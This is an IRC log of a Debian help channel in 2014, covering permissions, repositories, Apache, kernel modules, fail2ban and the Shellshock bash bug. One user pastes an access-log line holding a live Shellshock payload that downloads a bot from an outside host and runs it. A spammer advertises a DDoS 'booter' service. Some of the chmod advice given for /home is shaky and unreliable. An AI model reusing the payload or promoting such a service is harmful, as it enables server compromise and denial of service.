| 04:36.58 | zack6849 | https://zack6849.com/uploads/MDJjN2UzNTYz.txt |
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| 04:39.36 | zack6849 | as for the x, how would i chmod x for that user? |
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| 04:41.04 | zack6849 | i tried chmod -R a+x data/ |
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| 04:44.50 | jimgnosis | you need to add the executable perm to the parent folder |
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| 04:45.38 | zack6849 | yes, the data folder, correct? or do you mean the garry's mod folder |
| 04:46.12 | jimgnosis | the mod folder. chmod g+x garys mod folder |
| 04:46.27 | zack6849 | nope, nothing. |
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| 04:47.04 | jimgnosis | try each of the parent folders |
| 04:47.21 | zack6849 | https://zack6849.com/uploads/MjIwMjkwOWNk.txt |
| 04:47.32 | zack6849 | jimgnosis, i can only go so far up, but i'll try.. |
| 04:47.48 | zack6849 | i dont think thats the problem though, because i can cd into other files inside of garrysmod |
| 04:47.51 | zack6849 | just not the data folder |
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| 04:48.43 | jimgnosis | the entire path needs to be executable by the group |
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| 04:49.02 | zack6849 | but lets say garrysmod wasnt +x |
| 04:49.13 | zack6849 | i wouldnt be able to read ANY subfolders then, right? |
| 04:49.30 | jimgnosis | no. it would be able to enter them. |
| 04:49.38 | zack6849 | i CAN read subfolders of the garrys mod folder |
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| 04:50.22 | zack6849 | i just recursivley applied g+x and it still wont let me cd |
| 04:50.57 | zack6849 | and i mean to the enitre home dirextory |
| 04:51.07 | zack6849 | rather, home directory for that user |
| 04:51.09 | zack6849 | not /home/ |
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| 04:51.21 | jimgnosis | did chahge |
| 04:51.26 | jimgnosis | change rhe group |
| 04:51.42 | zack6849 | to what though? |
| 04:51.55 | zack6849 | if i change the group to tomcat7, im afraid gmod wont be able to read it |
| 04:52.01 | zack6849 | which would be rather problematic. |
| 04:52.09 | jimgnosis | nevermind tomcat is already in the gmod group |
| 04:52.19 | zack6849 | yep |
| 04:52.33 | jimgnosis | sure if gmod is the ownner he can do what |
| 04:52.37 | zack6849 | i had a sysadmin friend of mine looking at it and he said it could be something with ACL or grsec or something |
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| 04:55.08 | jimgnosis | the garys mod directory needs to be group owned by tomcat for g+ permissions to work. other wise you need to you a+x |
| 04:55.48 | zack6849 | even that didn't work |
| 04:56.19 | zack6849 | i'm really annoyed with this, i dont feel like it's a good idea to give a webserver access to the entirety of another servers files |
| 04:56.28 | zack6849 | i just want this to let me read it from tomcat |
| 04:56.56 | jimgnosis | can tomcat cat a file in the data dir |
| 04:57.18 | zack6849 | the data dir or the specific dir i need? |
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| 04:57.29 | jimgnosis | the specifc dir |
| 04:57.33 | zack6849 | nope. |
| 04:57.33 | jimgnosis | i |
| 04:57.47 | zack6849 | i've chmodded a+x and g+x and neither lets me cd or cat into data |
| 04:58.02 | zack6849 | drwxrwxrwx+ 7 gmod gmod 4096 Apr 13 02:17 data |
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| 04:58.48 | jimgnosis | touch file.txt, chown gmod:tomcat file.txt, su tomcat, cat file.txt ? |
| 04:59.49 | zack6849 | tomcat7@wolverine:/home/gmod/gmod/garrysmod$ cat data/file.txt |
| 04:59.49 | zack6849 | cat: data/file.txt: Permission denied |
| 05:00.38 | jimgnosis | can tomcat do pwd from there |
| 05:00.56 | zack6849 | from the data folder, or garrysmod? |
| 05:01.02 | jimgnosis | garrysmod |
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| 05:01.21 | zack6849 | "/home/gmod/gmod/garrysmod" |
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| 05:01.48 | jimgnosis | and of you su while in the data dir, can you also pwd |
| 05:02.10 | zack6849 | su to who |
| 05:02.13 | jimgnosis | tomcat |
| 05:02.17 | zack6849 | i have two seperate shells running |
| 05:02.22 | zack6849 | that last one was from tomcat |
| 05:02.29 | zack6849 | so yes, i can |
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| 05:04.05 | jimgnosis | so tomcat can cd to /home/gmod/gmod/garrysmod, but not to /home/gmod/gmod/garysmod/data ? |
| 05:04.35 | zack6849 | correct. |
| 05:04.55 | zack6849 | i've even set the group for data to tomcat7 |
| 05:06.02 | jimgnosis | what is the group for garysmod |
| 05:06.11 | zack6849 | gmod, i belive |
| 05:06.27 | zack6849 | yes |
| 05:06.48 | zack6849 | <PROTECTED> |
| 05:07.07 | zack6849 | 4.0K drwxrwxrwx+ 7 gmod tomcat7 4.0K Sep 28 00:59 data |
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| 05:11.24 | jimgnosis | i just noticed that pwd was not the right test, but rather ls. but you said tomcat can cd to garysmod and do ls right? |
| 05:11.38 | zack6849 | yep |
| 05:11.48 | zack6849 | i can ls in garrysmod, and even inside of data |
| 05:11.55 | zack6849 | however i cant change into data |
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| 05:13.35 | centrx | can garrysmod be gerrymandered? |
| 05:14.57 | jimgnosis | tomcat need +x on all of the directories leading to data in order to chdir to data |
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| 05:15.20 | zack6849 | centrx, what |
| 05:15.41 | zack6849 | jimgnosis, i ran chmod -R g+x /home/gmod |
| 05:15.46 | zack6849 | and then a+x |
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| 05:16.08 | jimgnosis | what about /home |
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| 05:17.59 | rwp | zack6849, You don't really want ot make *every* file in your home executable. |
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| 05:18.51 | jimgnosis | not files, just the directories. if you must allow traversal from one home to another. |
| 05:19.30 | jimgnosis | something in /usr/share would be a better place for shared data |
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| 05:24.09 | jimgnosis | try this at home. sudo mkdir this; sudo chmod 777 -R this; sudo chmod -x .; cd this |
| 05:24.51 | Penix__ | zack6849: as jimgnosis has mentioned, the execute bit will need to be set on the directory in order to cd in to it |
| 05:25.34 | Penix__ | zack6849: I lost track earlier on, but from what I've seen you mention and the pasted output, I can't see anything obvious |
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| 05:26.22 | Penix__ | zack6849: I'd double check the possibility of extended attributes or selinux/grsec, if you're sure of the current permissions |
| 05:26.49 | zack6849 | eh, i'll talk to the 'main' sysadmin |
| 05:26.49 | Penix__ | acl's, rather |
| 05:27.04 | zack6849 | he's a bit of an asshole and keeps shouting google and talking about how this is 'simple' |
| 05:27.19 | zack6849 | despite me asking in #archlinux, here and linux receiving no replies from epople who know |
| 05:27.44 | Penix__ | zack6849: is it only the cd in to 'data/' that's the problem? can you read a file within that dir as the tomcat user? |
| 05:27.49 | Penix__ | eg. cat data/users.txt |
| 05:31.59 | zack6849 | i cannot. |
| 05:32.07 | zack6849 | it's data and all subdirectories |
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| 05:34.44 | jimgnosis | can you verify this. as user gmod touch /tmp/test; as tomcat cat /tmp/test |
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| 05:39.32 | zack6849 | uh, what does tmp have to do with it? |
| 05:39.53 | zack6849 | catting /tmp/test doesnt give me an error |
| 05:40.30 | jimgnosis | good. that verifies tomcat is properly in the gmod group. |
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| 05:42.17 | jimgnosis | in a structure of folders a/b/c/d if the user does not have executable permissions on a and b than he cannot enter c. no matter what the permission of c or d are |
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| 05:50.37 | zack6849 | so how would you phrase the problem so i can properly explain it? |
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| 05:51.02 | jimgnosis | shared data soe |
| 05:51.16 | jimgnosis | does not belong in a home directory |
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| 05:53.09 | Stable | Hello |
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| 05:55.28 | Stable | Is anyone here? |
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| 05:58.01 | zack6849 | jimgnosis, where it's stored isnt my choice, it's meant to be read by the program the file is made for, in the home folder, i just wanted to read it for use on a webpage |
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| 05:59.12 | yrp | Odd request, does anyone know where I can find a debian 6 based qemu image that will work with qemu 1? specifically, needs to be qcow2 version 2 |
| 05:59.56 | yrp | alternatively, if anyone has suggestions on getting a qemu based guest running 2.6.31 Im all years |
| 05:59.59 | yrp | ears* |
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| 06:05.29 | jimgnosis | zack6849: than you need to chmod ag+x -R /home; chmod a-rw /home; chmod o+rwS /home; that might be the same as chmod 7440 but im not sure of the numeric notation for sticky bit. |
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| 06:11.02 | jimgnosis | zack6849: if your running apache, you might consider the user_dir module. this would give you a little more security. |
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| 06:33.50 | epitamizor | how come live dvd doesn't recognize keyboard/mouse? |
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| 06:51.14 | ArchZombie1y | Hello all, looking for info on all forks of debian, query me with info if you have any. |
| 06:51.35 | ArchZombie1y | It would be appreciated. |
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| 07:00.48 | neena | Hi, I'm trying to run flightgear on jessie/sid. It segfaults like so, http://codesurfers.net/~neena/fgfs.log.txt Does anyone know what's wrong? |
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| 07:03.43 | jimgnosis | neena: can you run glxgears |
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| 07:04.43 | supernil | Flash player in google-chrome-stable package always crashes on startup. How do I fix it? I've tried autoremoveing and reinstalling the google-chrome-stable. |
| 07:05.53 | neena | jimgnosis: Yes. |
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| 07:07.55 | jimgnosis | neena: the error points to some missing 3d model. can you run glxinfo and see if you |
| 07:08.03 | jimgnosis | supoort 3d |
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| 07:08.53 | babilen | supernil: ask google? |
| 07:11.34 | SrKjL | who knows? |
| 07:12.12 | SrKjL | of course, uncle google is know. |
| 07:13.22 | neena | jimgnosis: It does. The game actually starts with a bunch of "initializing $foo" messages |
| 07:13.52 | SrKjL | | Kelebek Script v6.5 | | Kullanýyorum.. Güvenli ve Huzurlu Chat Yapmak Neymiþ Þimdi Anladým.. Download Adresi: | | www.kelebek.gen.tr | |
| 07:14.21 | SrKjL | excuse me |
| 07:14.39 | SrKjL | it is accident |
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| 07:59.33 | grzeslaw | HI, i just installed fresh debian7. I am wondering, where I can find the most 'safe' repositories..? I want to use that OS as producion system. And now, in example, I want to install vsftpd, and I get notice "Untrusted packages could compromise your system's security (...)" why? My sources.list is default after installation, and I hace no "non-free" options there.. |
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| 08:04.25 | babilen | grzeslaw: http://paste.debian.net/123441/ would be a complete sources.list with backports for stable. Run "apt-get update" after making changes to your sources.list |
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| 08:04.58 | babilen | (it also references "contrib" and "non-free" so please remove those if you don't want to install packages from there) |
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| 08:08.26 | grzeslaw | babilen: thx! but is it free to use contrib and non-free packages on production machines? |
| 08:08.37 | grzeslaw | I mean is it safe.. ;] |
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| 08:25.02 | grzeslaw | as I read backports are recompiled packages from testing and unstable.. - is it safe to use them in production? |
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| 08:37.54 | croddy | maybe |
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| 08:47.09 | r3n1c0n | hi |
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| 08:48.02 | sine0 | how can i add an ip to iptables so that my server ignores it totally |
| 08:48.18 | sine0 | i have a repeated hack attempt from the same IP |
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| 08:48.40 | r3n1c0n | $man ip? |
| 08:48.44 | r3n1c0n | table |
| 08:49.00 | sine0 | k |
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| 08:50.35 | r3n1c0n | herers some help, https://help.ubuntu.com/community/IptablesHowTo |
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| 08:53.02 | sine0 | thanks on it :D |
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| 09:17.29 | repz | hi all ! I have a mysql problem on debian 7 after last update / upgrade. MYsqld is unable to launch and i can't reinstall it ... |
| 09:17.35 | repz | Ih a superhero is here =D |
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| 09:29.24 | vore | kinda quiet in here |
| 09:29.29 | vore | seems strange |
| 09:29.47 | vore | #debian used to be a lively place on all networks at all hours |
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| 09:30.26 | repz | please there is a superhero to solve my mysql issu ? :'( |
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| 09:31.52 | vore | repz: people don't use debian anymore |
| 09:32.01 | mo1991 | :) |
| 09:32.10 | vore | repz: many people don't use linux anymore either |
| 09:32.25 | mo1991 | ya, all of to winblows |
| 09:32.29 | mo1991 | nighty night |
| 09:32.34 | repz | ... |
| 09:32.35 | mo1991 | :) |
| 09:32.49 | vore | why not |
| 09:33.03 | petn-randall | vore: Do you have a support question? |
| 09:33.07 | vore | if you're going to be forced to used windows , use the real deal |
| 09:33.43 | vore | petn-randall: you seem on edge, is there a problem? |
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| 09:34.17 | vore | maybe your users do not like a certain change? |
| 09:34.27 | vore | but , they're justs worthless users, they don't matter |
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| 09:35.02 | petn-randall | vore: If you don't have a support question, please move on to #defocus or any other better suited channel. |
| 09:35.20 | vore | petn-randall: how much do you get paied per hour |
| 09:35.26 | mo1991 | vore, #dusche may be a better channel for u :) |
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| 09:38.58 | Rurd2di | hey |
| 09:39.12 | Rurd2di | if your manually setting dns in debian ui |
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| 09:39.27 | Rurd2di | do you use a , or just a space in the window |
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| 09:41.15 | repz | the debian cimmunity is really nice |
| 09:41.21 | repz | no trollin or something |
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| 10:02.00 | r3n1c0n | BOE! |
| 10:02.18 | coin3d | hi there. will apt-get upgrade also stuff from wheezy-backports? |
| 10:02.26 | coin3d | *update |
| 10:02.28 | r3n1c0n | depends on your repositorys |
| 10:02.41 | romano2k | hi there! |
| 10:02.50 | r3n1c0n | hi |
| 10:03.07 | AlexWH88 | Morning guys, i'm having problems with freezing on wheezy. Mouse n keyboard works fine after, but thats all. I'm "sure" the problem is something with gnome because if i do ctrl+alt+f1 n come back to f7 and wait for 10 - 20 secs alll come back, with all process working fine. Thanks (sorry bout grammar >.>) |
| 10:03.08 | coin3d | relaxed: what do you mean? |
| 10:03.11 | coin3d | exactly? |
| 10:03.27 | romano2k | i think i have a problem related to the way apache 2.4 handles configuration files in Debian, my sites-enabled/* files don't look to be loaded |
| 10:03.27 | coin3d | i just added the backports line to my sources.list and installed the backports kernel |
| 10:04.18 | romano2k | i have /var/www as my DocumentRoot in 000-default, and /var/www subdirectories for other ServerName in other files, but i get /var/www for every domain name, what's wrong? |
| 10:04.31 | r3n1c0n | then it will also upgrade it. Correct me if iam wrong |
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| 10:26.36 | rgr | romano2k: dunno with zero example links. But I have "IncludeOptional /var/www/barwebs/sites-enabled" in my apache2.conf to point to my virtual sites. and in there a smple config file is https://gist.github.com/e5dc020768909c4f6fba |
| 10:26.54 | rgr | all works fine. debian. |
| 10:27.54 | romano2k | rgr: that's exactly the kind of files i have, but only the 000-default's DocumentRoot is returned |
| 10:28.17 | romano2k | rgr: what's "fun" is that if i copy/paste one of my virtualhost in the apache2.conf, it works |
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| 10:28.42 | rgr | you did of course add your domain names in your hosts file? |
| 10:28.48 | romano2k | rgr: and moreover, if i use my Apache 2.2's apache2.conf backup, it works too |
| 10:28.54 | rgr | I suspect not, |
| 10:29.00 | rgr | an you are defaulting to the default |
| 10:29.04 | romano2k | rgr: no i didn't |
| 10:29.08 | rgr | there you go. |
| 10:29.12 | romano2k | rgr: you mean /etc/hosts ? |
| 10:29.13 | rgr | probably. |
| 10:29.16 | rgr | es |
| 10:29.18 | rgr | yes |
| 10:29.44 | rgr | else your domain name is interpreted as a subdir of localhost |
| 10:29.50 | rgr | (I suspect) |
| 10:30.14 | romano2k | rgr: i'm trying to access the server from outside, is it related? |
| 10:30.30 | rgr | dont know what that means. |
| 10:30.38 | rgr | get your local working first. |
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| 10:38.50 | [AlexC] | yo |
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| 10:51.15 | gumus | hi all |
| 10:51.20 | nixfox | Hello |
| 10:51.35 | gumus | while installing G. Earth these packages have been removed : linux-headers-amd64:amd64 (3.2+46), exim4-daemon-light:amd64 (4.80-7), linux-image-3.2.0-4-amd64:amd64 (3.2.60-1+deb7u3), linux-headers-3.2.0-4-amd64:amd64 (3.2.60-1+deb7u3), gcc-4.6:amd64 (4.6.3-14) |
| 10:51.56 | gumus | then I tried to reinstall them one by one. However this somehow caused some problems |
| 10:52.17 | nixfox | ... |
| 10:52.20 | gumus | now I don't have wi-fi driver anymore and when I try to install it I get error |
| 10:52.23 | nixfox | and you agreed to this? |
| 10:52.39 | gumus | here's my apt-install history log |
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| 10:52.43 | nixfox | you didn't think it was odd when apt-get or aptitude asked you if you want them removed? |
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| 10:53.08 | gumus | I'm a beginner, I didn't realize it actually |
| 10:53.12 | gumus | Start-Date: 2014-09-27 14:28:13 Install: libpam0g:i386 (1.1.3-7.1, automatic), libgmp10:i386 (5.0.5+dfsg-2, automatic), libmpfr4:i386 (3.1.0-5, automatic), libselinux1:i386 (2.1.9-5, automatic), locales-all:amd64 (2.13-38+deb7u4, automatic), $ Remove: linux-headers-amd64:amd64 (3.2+46), exim4-daemon-light:amd64 (4.80-7), linux-image-3.2.0-4-amd64:amd64 (3.2.60-1+deb7u3), linux-headers-3.2.0-4-amd64:amd64 (3.2.60-1+deb7u3), gcc-4.6:amd6 |
| 10:53.19 | nixfox | mand0_, sprunge that |
| 10:53.23 | d3lphi | hey all. I want to have my NIC only in VLAN100, so I installed "vlan" package, added vlan100 to eth0 and everything works fine. I modified my /etc/network/interface and added a eth0.100 section. But this eth0.100 device needs the eth0 device, so I cannot just remove eth0. |
| 10:53.24 | nixfox | goddamnit tab! |
| 10:53.27 | d3lphi | But I dont't want to have eth0 an IP assigned, I don't need an IP on eth0. I only need my static IP in eth0.100. How can I do that? |
| 10:53.33 | nixfox | gumus, sprunge it |
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| 10:53.42 | nixfox | don't copy it in plaintext |
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| 10:54.00 | gumus | ok sorry |
| 10:54.21 | nixfox | no prob |
| 10:54.38 | gumus | how can I deliver it in a proper way ? |
| 10:54.57 | nixfox | the command is curl -F 'sprunge=<-' http://sprunge.us |
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| 10:55.22 | nixfox | so i.e less fileName | curl -F 'sprunge=<-' http://sprunge.us |
| 10:55.58 | nixfox | anyhow brb lunch time |
| 10:56.14 | gumus | curl -F 'Start-Date: 2014-09-27 14:28:13 Install: libpam0g:i386 (1.1.3-7.1, automatic), libgmp10:i386 (5.0.5+dfsg-2, automatic), libmpfr4:i386 (3.1.0-5, automatic), libselinux1:i386 (2.1.9-5, automatic), locales-all:amd64 (2.13-38+deb7u4, automatic), $ Remove: linux-headers-amd64:amd64 (3.2+46), exim4-daemon-light:amd64 (4.80-7), linux-image-3.2.0-4-amd64:amd64 (3.2.60-1+deb7u3), linux-headers-3.2.0-4-amd64:amd64 (3.2.60-1+deb7u3), gcc |
| 10:56.16 | gumus | :D |
| 10:57.38 | d3lphi | anyone? |
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| 11:05.46 | lrvick | What are the odds of downgrading from sid to jessie without the world exploding and everyone within 50 miles getting cancer? |
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| 11:09.31 | nixfox | ... |
| 11:10.05 | Dragon_Slayer | hello can anyone tell me how to install nvidia gt640m le notebook drivers on laptop with debain steamos? |
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| 11:19.50 | nkuttler | !tell Dragon_Slayer about steamos |
| 11:20.00 | nkuttler | rgr: your android is broken |
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| 11:29.26 | yony45 | https://www.facebook.com/SoccerTips4Sure |
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| 11:33.58 | robin__ | Hello, I think my server got exploited yesterday. access.log shows 103.12.84.51 - - [28/Sep/2014:11:07:09 +0300] "GET / HTTP/1.0" 200 803 "-" "() { :;}; /bin/bash -c \"wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\"" |
| 11:34.36 | robin__ | <PROTECTED> |
| 11:34.39 | robin__ | [Sun Sep 28 07:35:05.775371 2014] [core:notice] [pid 1443] AH00094: Command line: '/usr/sbin/apache2' |
| 11:34.45 | robin__ | And then it shut down, but I never told it to. |
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| 11:34.57 | robin__ | I tried the test string on /bin/sh and it worked. |
| 11:35.00 | robin__ | What can I do? |
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| 11:36.17 | wols_ | when debian cannot boot for some reason,I can get a "enter root password for maintenance or press control-d to continue" message. However, if I haven't set a password when installing but use sudo, is that even possible? |
| 11:37.17 | iveevue | Root should always have a password... you set it on install... |
| 11:37.26 | Eduard_Munteanu | wols_, you'd need a root password AFAIK. But you could set init=/bin/bash on the kernel command line in GRUB to drop you straight to a shell. |
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| 11:38.02 | huleo | hi |
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| 11:38.06 | blackjack | robin__ you havent updated your server? |
| 11:38.13 | Eduard_Munteanu | Hi, huleo |
| 11:38.19 | robin__ | blackjack, I have, but only bash got the patch, not sh. |
| 11:38.54 | wols_ | Eduard_Munteanu: you're right there, thanks |
| 11:39.09 | huleo | I'm looking for best, lightweight replacement to yeahconsole (quake-style console) which is too glitchy for me (display artifacts) |
| 11:39.13 | huleo | wondering if anyone has any suggestions |
| 11:39.25 | wols_ | iveevue: not in the last 2 or 3 debian installers. there it gives you a choice and if you choose sudo, then there is no root password |
| 11:39.33 | wols_ | !tell huleo about best |
| 11:39.35 | iveevue | Ah |
| 11:40.07 | robin__ | Can someone help me undo the damage? |
| 11:40.17 | huleo | lightweight, minimalistic, functional, stable |
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| 11:41.24 | wols_ | some urxvt version then |
| 11:41.37 | robin__ | Okay, is there a way to make a log that logs everything? |
| 11:41.52 | wols_ | huleo: there is no "console" btw, we use xterms |
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| 11:42.13 | huleo | wols_: that's exactly what I have been using, yeahconsole with urxvt, but I experience glitches in what it prints out with some applications |
| 11:42.19 | blackjack | robin__, use systemd. I heard its better in logging things |
| 11:42.20 | wols_ | robin__: logs what exactly? everything can't be logged, you don't have the space |
| 11:42.59 | wols_ | huleo: then I don't understand what this yeahconsole is, sorry. best ignore me then |
| 11:43.47 | huleo | wols_: it's just a wrapper around rxvt to make it "quake-like" |
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| 11:47.30 | r3n1c0n | he's got the ip right. Thats a good log or not O_o |
| 11:49.25 | cromag | i am sorry that i am asking this. According to dpkg bash is fixed with 4.2+dfsg-0.1+deb7u3 - but i believe i read that there is patch still not available in the repositories - am i misunderstanding ? |
| 11:49.35 | blackjack | r3n1c0n, which one. the indonesian ip? |
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| 11:50.25 | r3n1c0n | ye |
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| 11:58.23 | adbob | I get failed to load kernel modules after upgrading to 3.16 |
| 11:58.37 | adbob | and here is the result of systemctl status systemd-modules-load.service |
| 11:58.41 | adbob | â systemd-modules-load.service - Load Kernel Modules |
| 11:58.41 | adbob | <PROTECTED> |
| 11:58.41 | adbob | <PROTECTED> |
| 11:58.41 | adbob | <PROTECTED> |
| 11:58.41 | adbob | <PROTECTED> |
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| 11:59.30 | r3n1c0n | use pastebin :D |
| 11:59.40 | andbob | oh, sorry for that, I'll paste them right away |
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| 12:00.20 | franpoli | Hi there! I might consider to buy an USB 3 docking station. Do you know how well it can be supported on Debian? |
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| 12:01.48 | andbob | r3n1c0n, here is the pastebin http://pastebin.com/yMHz5sdi, I get "failed to load kernel modules" on startup after upgrading to 3.16 |
| 12:02.12 | iveevue | franpoli, Docking station for what? |
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| 12:03.46 | franpoli | To connect an ultrabook i own on an external display, mouse and keyboard |
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| 12:04.16 | andbob | r3n1c0n, I think I have all the needed packages, here you can see them http://pastebin.com/48hUwfWR |
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| 12:07.51 | r3n1c0n | hold on something is wrong with my connection |
| 12:08.32 | andbob | r3n1c0n, take your time |
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| 12:12.13 | r3n1c0n | did you try to reinstall kernel? |
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| 12:12.56 | andbob | r3n1c0n, I haven't done that |
| 12:13.13 | osfd_home | Hi there. Is there a way to know on a linux machine what kind of access has been done on a particular file or folder ? (read, write...) |
| 12:13.25 | r3n1c0n | what module is not loading ? |
| 12:13.31 | osfd_home | when, by whom... |
| 12:13.37 | iveevue | osfd_home, I doubt it |
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| 12:13.52 | osfd_home | iveevue: there's no log of that ? |
| 12:14.01 | iveevue | I highly doubt it |
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| 12:14.53 | osfd_home | is possible to know when the owner of a file has been changed ? |
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| 12:14.59 | osfd_home | or a fodler |
| 12:15.00 | r3n1c0n | reading and its pos you got the wrong headers installed. Dunno for sure dont have that mutch knowlage (sor for bad grammer) |
| 12:15.46 | andbob | r3n1c0n, my knowledge is limited, I've send you a pastebin with all the linux-* related packages |
| 12:15.53 | andbob | do they look ok ? |
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| 12:18.55 | r3n1c0n | seems ok |
| 12:19.31 | r3n1c0n | iam not seeing any missing packages |
| 12:20.06 | andbob | r3n1c0n, how do I find out which module has failed to load ? |
| 12:20.16 | r3n1c0n | you dont see post when it boots? |
| 12:21.33 | andbob | it says something like this:"failed to load kernel module see systemctl ..." it stay for a sec only |
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| 12:22.53 | r3n1c0n | some one had same error and it was his nvidia module |
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| 12:23.25 | andbob | r3n1c0n, I don't have any nvidia gpu in my laptop |
| 12:23.41 | r3n1c0n | o wait |
| 12:24.04 | r3n1c0n | PID 171 failed to load right. Thats in the process |
| 12:24.29 | andbob | yes |
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| 12:25.09 | r3n1c0n | is your date correct? |
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| 12:25.50 | andbob | 28 sept, yes |
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| 12:26.02 | r3n1c0n | you got vbox? |
| 12:26.16 | andbob | yes |
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| 12:30.43 | r3n1c0n | lose the x in your vboxdrv.conf |
| 12:31.07 | r3n1c0n | thats all i can find. |
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| 12:31.21 | andbob | where is vboxdrv.conf ? |
| 12:32.04 | r3n1c0n | $whereis vboxdrv.conf |
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| 12:32.42 | andbob | r3n1c0n, /usr/src/virtualbox-4.3.14/vboxdrv |
| 12:32.56 | r3n1c0n | ye |
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| 12:33.13 | r3n1c0n | go to that dir ;) |
| 12:33.25 | andbob | r3n1c0n, what should I change there ? |
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| 12:33.59 | r3n1c0n | well if ind some one fixed the error with removing the x in the config fie |
| 12:34.52 | r3n1c0n | what is this output showing you? |
| 12:34.56 | r3n1c0n | cat /etc/modules-load.d/vboxdrv.conf |
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| 12:35.54 | andbob | No such file or directory |
| 12:36.04 | r3n1c0n | ok so thats not th eproblem XD |
| 12:36.18 | d3lphi | hey all. I want to have my NIC only in VLAN100, so I installed "vlan" package, added vlan100 to eth0 and everything works fine. I modified my /etc/network/interface and added a eth0.100 section. But this eth0.100 device needs the eth0 device, so I cannot just remove eth0. |
| 12:36.22 | d3lphi | But I dont't want to have eth0 an IP assigned, I don't need an IP on eth0. I only need my static IP in eth0.100. How can I do that? |
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| 12:36.42 | r3n1c0n | then iam sorry, i cant help. It has something to do with your modules but i dont know how to see what module. |
| 12:37.05 | andbob | np, thanks |
| 12:37.06 | r3n1c0n | i see PID 171 but i have no clue what module it is loading |
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| 12:39.28 | benignbala | Hi, I am on wheezy and I have bash 4.2+dfsg-0.1+deb7u3. Are we expecting more patches sometime immediately ? |
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| 12:40.13 | benignbala | I keep hearing that shellshock and related vulnerabilities are not fully fixed and that more fixes are needed. |
| 12:41.39 | thingfish | It's supposedly fixed in Debian. There were two updates to bash this past week that covered it. |
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| 12:42.31 | thingfish | "The vulnerability in bash has been fixed for <wheezy> and <squeeze-lts>. https://security-tracker.debian.org/tracker/CVE-2014-6271 and https://security-tracker.debian.org/tracker/CVE-2014-7169" |
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| 12:47.27 | benignbala | thingfish: Thanks. |
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| 12:49.33 | thingfish | benignbala: no problemo |
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| 12:52.39 | hestben | Hey guys. I'm trying to mount a efi partion of one of my drives. Following http://www.pjc.me.uk/efi-gpt/ renders me with http://pastebin.com/eQD2wC9R (no filesystems reported by parted). |
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| 12:55.03 | GNU\colossus | wtf, Linux 3.16 in wheezy-backports? |
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| 12:55.14 | GNU\colossus | does that mean jessie will not get 3.14, but something newer? |
| 12:55.17 | [AlexC] | yeah and? |
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| 12:55.49 | GNU\colossus | it's just a pleasant surprise, that is all :) |
| 12:55.58 | [AlexC] | :) |
| 12:56.30 | GNU\colossus | although it'd be _really_ awesome if 3.17 landed. it makes many chromebook laptops run ootb. |
| 12:56.48 | [AlexC] | :) |
| 12:57.42 | themill | !jessie kernel |
| 12:57.42 | dpkg | Linux 3.16 is currently planned as the Linux kernel version to be released with Debian 8 "Jessie". See https://bits.debian.org/2014/07/kernel-version-for-jessie.html for further details and also ask me about <stable kernel>. After the release of Jessie, backported kernels will land in <jessie-backports> as usual. |
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| 13:01.55 | mashaa | hi |
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| 13:05.27 | thalos | Hello fellow debianers... Or is it debs? debians? ;) |
| 13:05.55 | dvs | debilonians! |
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| 13:06.12 | thalos | dvs: Ah, thanks ;) |
| 13:06.20 | dvs | j/k |
| 13:06.31 | thalos | Kinda figured that :) |
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| 13:16.57 | mashaa | hei welcome |
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| 13:22.35 | osfd_home | what is exactly the ctime ? |
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| 13:24.23 | moldy | osfd_home: the time at which the file was created |
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| 13:24.38 | osfd_home | moldy: changed I think |
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| 13:28.08 | moldy | osfd_home: that is mtime, afaik |
| 13:28.31 | moldy | osfd_home: but i think i was wrong about ctime anyway. provide some context please. |
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| 14:03.08 | dashs | thanks |
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| 14:07.54 | mashaa | wc |
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| 14:12.05 | XyzBoot683 | Need to take someone down ? Crash a CS Server ? Check out www.booter.xyz the best stresser out there ! Power Proof - http://i.imgur.com/Fk3QZg7.png Youtube Video - http://youtu.be/KMPjwnB-pXY |
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| 14:15.56 | mic_e | hi, how would I prevent hashing of known_hosts? |
| 14:18.18 | mashaa | hi |
| 14:19.11 | jelly-home | mic_e: read about HashKnownHosts in ssh_config man page and adapt /etc/ssh/ssh_config and your ~/.ssh/config |
| 14:20.55 | mic_e | jelly-home: thanks |
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| 14:23.13 | Roland- | Hi guys, how can I remove an fail2ban banned ip ? |
| 14:23.27 | Roland- | if I remove it from iptables it will be added back on restarging fail2ban |
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| 14:29.54 | jimgnosis | Restating fail2ban removes all of the entries. |
| 14:30.03 | Roland- | not for me it seems like. |
| 14:30.11 | Roland- | if I stop the service, it will remove |
| 14:30.16 | Roland- | if I start it, it will readd. |
| 14:30.21 | jimgnosis | You can add ab address to jail.conf to prevent it from being blocked. |
| 14:30.51 | jimgnosis | Iptables -F chain will flush all of the rules from that chain |
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| 14:31.02 | Roland- | I know but I am testing some alerts that it's sending |
| 14:31.11 | Roland- | so each time it adds that IP I need to remove it |
| 14:31.25 | Roland- | however, if I remove it from iptables it will say it's already banned. |
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| 14:32.02 | mashaa | hi anis |
| 14:32.10 | Roland- | 2014-09-28 17:31:55,523 fail2ban.actions: WARNING [ssh] 192.168.1.11 already banned |
| 14:32.41 | jimgnosis | Have you tried 'fail2ban -k jailname reload' |
| 14:32.59 | jelly-home | Roland-: use fail2ban-client |
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| 14:33.39 | anisfarhana | Hello mashaa |
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| 14:35.10 | jimgnosis | set <JAIL> unbanip <IP> manually Unban <IP> in <JAIL> |
| 14:35.14 | anisfarhana | Hello everyone. I seem failed to upgrade bash package for squeeze due to shellshock issue. Is it mandatory for me to upgrade it, to wheezy? |
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| 14:36.01 | jelly-home | anisfarhana: failed to upgrade? |
| 14:36.20 | acemi | anisfarhana: use squeeze-lts repo |
| 14:36.54 | acemi | https://wiki.debian.org/LTS/Using |
| 14:37.04 | anisfarhana | jelly: apt-get update && apt-get install --only-upgrade bash for wheezy is good. I just cannot do the same thing for squeeze. |
| 14:37.09 | nabblet | hi, i use debian 7.6 and fluxbox. While browsing, i was suddenly logged out to the log in screen (gdm) with no aparent reason. dmesg shows nothing eye-catching and in syslog I have a long list of similar entries and the first one is like this: |
| 14:37.22 | nabblet | Sep 28 16:23:30 box gnome-session[10768]: DEBUG(+): Enabling debugging |
| 14:37.41 | anisfarhana | acemi: Trying that now, thanks. |
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| 14:37.46 | Roland- | jimgnosis https://dpaste.de/62RL |
| 14:38.17 | nabblet | this is the first time but i'd like to learn how to find out more about stuff after it happened |
| 14:38.26 | jelly-home | nabblet: that sounds as if X crashed. Take a look at /var/log/Xorg.0.log.old |
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| 14:39.14 | Koala_Kid | can anyone give guidance on installing nvidia drivers on laptop with debian or do i have to google it ? |
| 14:39.31 | thingfish | Koala_Kid: wheezy? |
